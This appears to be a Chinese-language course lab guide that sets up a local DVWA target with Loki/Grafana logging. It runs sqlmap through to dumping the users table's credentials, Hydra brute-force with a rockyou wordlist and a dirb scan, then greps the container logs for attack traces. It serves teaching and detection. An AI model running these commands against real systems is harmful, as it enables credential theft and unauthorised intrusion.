DVWA靶机攻击日志收集与观察

1
# 基于实验2创建实验3目录
2
mkdir -p ~/log-lab/exp3

1
# 复制实验2的配置文件作为基础
2
cd ~/log-lab/exp3
3
cp ~/log-lab/exp2/loki-config.yml .
4
cp ~/log-lab/exp2/promtail-config.yml promtail-config-base.yml

1
# 提前拉取DVWA镜像
2
docker pull vulnerables/web-dvwa
3

4
# 验证镜像
5
docker images | grep dvwa

1
# 创建文件夹
2
mkdir -p grafana-provisioning/datasources

1
# 确保在实验3目录
2
cd ~/log-lab/exp3
3

4
# 启动所有服务
5
docker-compose up -d

1
# 查看服务状态
2
docker-compose ps

1
# 等待服务初始化（约30秒）
2
sleep 30
3

4
# 验证各服务状态
5
echo "=== Loki状态 ==="
6
curl -s http://localhost:3100/ready
7
echo ""
8
echo "=== DVWA访问地址 ==="
9
echo "http://localhost:8080 (admin/password)"
10
echo ""
11
echo "=== Grafana访问地址 ==="
12
echo "http://localhost:3000 (admin/admin123)"

1
# 检查DVWA日志
2
docker-compose logs dvwa | tail -20
3
# 预期看到：Database setup successful 或类似信息（注意：截图为实验过后的日志信息，没有Database setup successful的类似信息正常）

1
# 查看Promtail日志
2
docker-compose logs promtail | tail -10

1
# URL编码方式验证，使用以下命令
2
curl -s "http://localhost:3100/loki/api/v1/query?query=%7Bjob%3D%22dvwa-logs%22%7D&limit=5"

1
# 验证工具
2
which sqlmap   # SQL注入工具
3
which hydra    # 暴力破解工具
4
which dirb     # 目录扫描工具

1
# 如未安装，使用以下命令安装
2
sudo apt install -y sqlmap hydra dirb

1
# 1. 浏览器访问 http://localhost:8080
2
# 2. 登录：admin / password
3
# 3. 点击左侧 "DVWA Security"
4
# 4. Security Level 选择 "Low"
5
# 5. 点击 "Submit"

1
# 使用浏览器开发者工具(F12) → Application/Storage → Cookies
2
# 或使用curl获取（替换IP和端口）
3
# 方法：手动登录后，在浏览器控制台执行：
4
# document.cookie
5
# 复制 PHPSESSID 值

1
# 设置环境变量（替换xxx为实际值）
2
export DVWA_COOKIE="PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low"
3
export DVWA_URL=http://localhost:8080

1
# 在终端执行（替换Cookie）第一次实验
2
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" \
3
--cookie="PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low" \
4
--batch \
5
--random-agent \
6
--level=1 \
7
--risk=1

1
# 执行第二次实验
2
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" \
3
--cookie="PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low" \
4
--batch \
5
--random-agent \
6
--dbs  # 获取数据库列表

1
# 执行第三次实验
2
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" \
3
--cookie="PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low" \
4
--batch \
5
--random-agent \
6
-D dvwa \
7
--tables  # 获取dvwa数据库的表

1
# 执行第四次实验，获取 users 表的列信息
2
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" \
3
--cookie="PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low" \
4
--batch --random-agent \
5
-D dvwa \
6
-T users \
7
--columns

1
# 执行第五次实验，dump攻击
2
sqlmap -u "http://localhost:8080/vulnerabilities/sqli/?id=1&Submit=Submit#" \
3
--cookie="PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low" \
4
--batch \
5
--random-agent \
6
-D dvwa \
7
-T users \
8
-C user,password \
9
--dump

1
# 进入wordlists目录
2
cd /usr/share/wordlists
3

4
# 解压rockyou.txt.gz（注意：如果存在压缩包则使用这个，课程提供的kali linux虚拟机里面有txt文件）
5
sudo gunzip rockyou.txt.gz 2>/dev/null || echo "已解压或文件不存在"
6

7
# 验证文件
8
ls -lh rockyou.txt

1
# 提取前1000行作为测试字典
2
head -1000 rockyou.txt > /tmp/dvwa-passwords.txt

1
# 验证字典
2
wc -l /tmp/dvwa-passwords.txt
3
head -5 /tmp/dvwa-passwords.txt

1
# 浏览器访问 http://localhost:8080
2
# 登录：admin / password
3
# 设置Security Level为Low
4
# F12 → Application → Cookies → 复制PHPSESSID值
5
# 设置环境变量
6
export DVWA_COOKIE="PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low"

1
curl -s http://localhost:8080/vulnerabilities/brute/ \
2
-H "Cookie: $DVWA_COOKIE" | grep "Vulnerability: Brute Force" && echo "Cookie有效"

1
# 测试正确密码，查看成功页面特征
2
curl -s "http://localhost:8080/vulnerabilities/brute/?username=admin&password=password&Login=Login" \
3
-H "Cookie: $DVWA_COOKIE" | grep -o "Welcome to the password protected area"
4

5
# 确认返回此字符串，作为Hydra的-S参数

1
hydra -l admin \
2
-P /tmp/dvwa-passwords.txt \
3
"http-get-form://127.0.0.1:8080/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area" \
4
-c "$DVWA_COOKIE"

1
#下面这个命令也可以，不需要用到DVWA_COOKIE
2
hydra -l admin \
3
-P /tmp/dvwa-passwords.txt \
4
"http-get-form://127.0.0.1:8080/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:S=Welcome to the password protected area" \
5
-c "PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low"

1
hydra -l admin \
2
-P /tmp/dvwa-passwords.txt \
3
"http-get-form://127.0.0.1:8080/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:H=Cookie:${DVWA_COOKIE}:S=Welcome to the password protected area" \
4
-V  # 加 -V 显示每次尝试详情，便于调试

1
# 执行目录扫描
2
dirb http://localhost:8080 \
3
/usr/share/dirb/wordlists/common.txt \
4
-c "PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low"

1
# 或使用更小的字典快速测试
2
dirb http://localhost:8080 \
3
/usr/share/dirb/wordlists/small.txt \
4
-c "PHPSESSID=g2u7l8od6pqiuidpsv5emp1fb4; security=low"

1
# 查看DVWA容器日志
2
docker logs exp3-dvwa | head -50

1
# 筛选sqlmap攻击
2
# 搜索UNION/SELECT等SQL关键字
3
docker logs exp3-dvwa 2>&1 | grep -v "AH00558" | grep -iE "UNION|SELECT|SLEEP|EXTRACTVALUE" | head -20

1
# 统计HTTP状态码，执行以下命令
2
docker logs exp3-dvwa | grep -oE '" [0-9]{3} ' | sort | uniq -c | sort -nr

1
# 查看攻击时间分布，执行以下命令
2
docker logs exp3-dvwa | awk '{print $4}' | cut -d: -f1-2 | sort | uniq -c